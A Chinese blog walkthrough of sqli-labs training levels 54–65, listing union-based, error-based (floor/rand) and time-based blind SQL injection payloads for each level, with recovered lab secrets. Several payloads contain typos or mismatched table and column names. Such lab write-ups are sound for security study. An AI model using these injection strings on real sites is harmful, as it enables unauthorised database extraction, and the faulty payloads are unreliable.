Sqli-labs "54~65"关——宝典

て烟熏妆下的殇ゞ 提交于 2020-02-06 03:50:54

sqli-labs 54~65关

Less-54

从本关开始,开始了challenges。本关有10次注入的机会。
在这里插入图片描述
因为第一次尝试,所以没有截图。从下一关一定开始步骤。首先我想看下源码是怎么闭合。是字符型注入,需要闭合。
我们直接查询。先查询字段数,然后找到回显位,用联合查询。
这里只把查询到的数据展示,下一关开始截图展示。
查询出challenges数据库中所有的数据表名:/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
数据表名为:7uut9mh813。
查询challenges数据库中的7uut9mh813数据表中的字段名:
/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='challenges' and table_schema='7uut9mh813'),3--+
字段名有:id,sessid,secret_YAZS,tryy
查询secret_YAZS的数据:/?id=0' union select 1,(select group_concat(secret_YAZS) from challenges.7uut9mh813),3--+

Less-55:
看源码,本关以括号闭合。
联合查询数据表名:/?id=0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
在这里插入图片描述
数据表名为:2vuh413899
查询数据表中的字段名:?id=0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='challenges' and table_schema='2vuh413899'),3--+
我遇到瓶颈了,同样的语句,上关就能查,这关就不显示。
(这里在后边拐回来了,瓶颈破了,因为我的表名和库名位置反了,应该是where table_name='2vuh413899' and table_schema='challenges'
在这里插入图片描述
但是应该还可以使用报错注入什么的,这里就不用了,我觉得联合查询可以。
后面会考核报错注入的。

Less-56:
看源码:
在这里插入图片描述本关为单引号括号闭合。
联合查询challengs数据库的中的数据表名:/?id=0’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),3–+
在这里插入图片描述
数据表名为:2lsqmdmeqw

查询2lsqmdmeqw数据表中的字段名:/?id=0') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='2lsqmdmeqw' and table_schema='challenges'),3--+
在这里插入图片描述查询secret_092J中的数据:/?id=0') union select 1,(select group_concat(secret_092J) from challenges.2lsqmdmeqw),3--+

w7C3lQsMUsQq57XvjIX37WlO——登入。

Less-57:
看源码:
在这里插入图片描述数字型注入,不需要闭合。
太年轻了,
在这里插入图片描述
有双引号
联合查询challengs数据库的中的数据表名:/?id=0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
在这里插入图片描述数据表名:qo86s295jl

查询qo86s295jl数据表中的字段名:/?id=0" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='qo86s295jl' and table_schema='challenges'),3--+
在这里插入图片描述
查询secret_2QVS中的数据:/?id=0" union select 1,(select group_concat(secret_2QVS) from challenges.qo86s295jl),3–+
在这里插入图片描述
PZzRXprLXSON5Eca1LN1uu3X——登入。

Less-58:
老规矩,看源码,单引号闭合。
联合查询challenges数据库中的数据表名:/?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+语句对了,但是没有页面显示。
所以我们用报错注入!
查询challenges数据表名:/?id=1' and (select 1 from (select count(*),concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
数据表名:efodej1w1o
查询efodej1w1o数据表中的字段:/?id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='efodej1w1o' and table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
查询secret_WPEL中的数据:
/?id=1' and (select 1 from (select count(*),concat((select group_concat(secret_0LLP) from challenges.iewbhdvh07 ),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
但是出现了报错Subquery returns more than 1 row——子查询返回多行。
所以我们换一种查询函数用concat函数。
/?id=1' and (select 1 from (select count(*),concat((select concat('%',secret_0LLP'%') from challenges.iewbhdvh07 ),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

Less-59:
看源码,为数字型注入。不需要闭合。
查询challenges数据表名:/?id=1 and (select 1 from (select count(*),concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
数据表名为:1yud8ufcbp
查询1yud8ufcbp数据表中的字段名:/?id=1 and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='1yud8ufcbp' and table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述查询secret_2Y3J字段中的数据:/?id=1 and (select 1 from (select count(*),concat((select concat('%',secret_2Y3J,'%') from challenges.1yud8ufcbp),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
密码为:PW7O0MivRJcuw01mX4mHm6aO

Less-60:
看源码:在这里插入图片描述
本关需要以双引号括号闭合,依然报错注入。
查询数据表名:/?id=1' and (select 1 from (select count(*),concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
数据表名为:07i1irox7e。
查询07i1irox7e的字段名:/?id=1") and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='07i1irox7e' and table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述查询secret_LN82中的数据:/?id=1") and (select 1 from (select count(*),concat((select concat('%',secret_LN82,'%') from challenges.07i1irox7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述密码为:bpPd32Ylkmq5iHMnszZZCKey.

Less-61:
看源码:在这里插入图片描述
本关以一个单引号两个括号闭合。
查询数据表名:/?id=1')) and (select 1 from (select count(*),concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
数据表名:czwafv7gte
查询czwafv7gte表中的字段:/?id=1')) and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='czwafv7gte' and table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述查询secret_7UCK中的数据:?id=1')) and (select 1 from (select count(*),concat((select concat('%',secret_7UCK,'%') from challenges.czwafv7gte),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
密码为:nn8CtQnootuusQ7TBl8jMykz。

Less-62:
看源码,该关以单引号括号闭合,同时报错注入和联合查询都用不了了。所以用延时注入。
查询challengs数据库中的数据表名:/?id=1')and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))>98,sleep(5),1)--+
道理就是这么个道理,让一个个试也不切实际。

Less-63:
看源码,该关以单引号闭合,和上关一样,延时注入。
查询challengs数据库中的数据表名:/?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))>98,sleep(5),1)--+

Less-64:
看源码,该关以双括号闭合,一样。延时注入。
查询challengs数据库中的数据表名:/?id=1))and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))>98,sleep(5),1)--+

Less-65:
看源码,该关应以双引号括号闭合。延时注入。
查询challengs数据库中的数据表名:/?id=1")and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))>98,sleep(5),1)--+

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!